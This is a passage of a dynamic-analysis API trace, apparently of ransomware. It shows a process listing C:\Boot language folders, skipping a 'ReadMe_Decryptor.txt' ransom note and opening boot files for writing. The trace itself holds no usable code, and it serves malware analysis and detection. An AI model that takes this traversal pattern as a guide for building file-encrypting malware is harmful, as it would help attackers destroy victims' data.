Flags=0x0, Size=0x50) returned 0x5603c0 [0035.005] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.005] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.005] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.005] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.005] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.005] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0035.005] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0035.005] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0035.005] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0035.005] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0035.005] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0035.005] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb458 [0035.005] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb458 | out: hHeap=0x540000) returned 1 [0035.005] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0035.005] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0035.005] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0035.005] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0035.005] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0035.005] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x561fe0 [0035.005] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-CN\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0035.005] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0035.005] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.005] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0035.005] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0035.005] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0035.006] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c88 [0035.006] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c88 | out: hHeap=0x540000) returned 1 [0035.006] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0035.006] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0035.165] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0035.165] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c88 [0035.165] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561fe0 | out: hHeap=0x540000) returned 1 [0035.165] FindClose (in: hFindFile=0x5638c0 | out: hFindFile=0x5638c0) returned 1 [0035.166] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-CN\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0035.166] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.166] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0035.166] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564d78 [0035.166] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564d78 | out: hHeap=0x540000) returned 1 [0035.166] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0035.166] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x557be8 [0035.166] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0035.166] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c88 | out: hHeap=0x540000) returned 1 [0035.166] FindClose (in: hFindFile=0x5638c0 | out: hFindFile=0x5638c0) returned 1 [0035.166] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0035.166] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0035.166] lstrcmpW (lpString1="zh-HK", lpString2=".") returned 1 [0035.166] lstrcmpW (lpString1="zh-HK", lpString2="..") returned 1 [0035.166] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0035.166] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0035.166] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.166] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.166] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.166] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.166] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0035.166] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0035.166] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x560008 [0035.166] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0035.166] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x560008 [0035.166] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0035.166] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x560008 [0035.166] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0035.166] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.166] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.166] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.167] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.167] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.167] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.167] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.167] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.167] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.167] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.167] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0035.167] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0035.167] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0035.167] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0035.167] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0035.167] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0035.167] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb458 [0035.167] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb458 | out: hHeap=0x540000) returned 1 [0035.167] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0035.167] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0035.167] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0035.167] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0035.167] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0035.167] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x561fe0 [0035.167] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-HK\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0035.167] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0035.167] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.168] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0035.168] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0035.168] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0035.168] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c88 [0035.168] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c88 | out: hHeap=0x540000) returned 1 [0035.168] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0035.168] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0035.168] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0035.168] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c88 [0035.168] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561fe0 | out: hHeap=0x540000) returned 1 [0035.168] FindClose (in: hFindFile=0x5638c0 | out: hFindFile=0x5638c0) returned 1 [0035.168] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-HK\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0035.168] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.168] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0035.168] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564d78 [0035.168] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564d78 | out: hHeap=0x540000) returned 1 [0035.168] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0035.168] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x557c30 [0035.168] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0035.168] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c88 | out: hHeap=0x540000) returned 1 [0035.168] FindClose (in: hFindFile=0x5638c0 | out: hFindFile=0x5638c0) returned 1 [0035.168] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0035.168] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0035.168] lstrcmpW (lpString1="zh-TW", lpString2=".") returned 1 [0035.168] lstrcmpW (lpString1="zh-TW", lpString2="..") returned 1 [0035.169] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0035.169] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0035.169] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.169] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.169] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.169] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.169] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0035.169] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0035.169] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x560008 [0035.169] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0035.169] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x560008 [0035.169] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0035.169] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x560008 [0035.169] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0035.169] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.169] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.169] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.169] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.169] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.169] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.169] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.169] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.169] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.169] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.169] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0035.169] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0035.169] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0035.169] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0035.169] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0035.169] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0035.169] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb458 [0035.169] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb458 | out: hHeap=0x540000) returned 1 [0035.169] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0035.169] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0035.169] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0035.169] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0035.169] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0035.170] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x561fe0 [0035.170] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-TW\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0035.170] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0035.170] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.170] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0035.170] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0035.170] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0035.170] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c88 [0035.170] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c88 | out: hHeap=0x540000) returned 1 [0035.170] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0035.170] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0035.170] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0035.170] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c88 [0035.170] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561fe0 | out: hHeap=0x540000) returned 1 [0035.170] FindClose (in: hFindFile=0x5638c0 | out: hFindFile=0x5638c0) returned 1 [0035.170] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-TW\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0035.170] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.170] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, 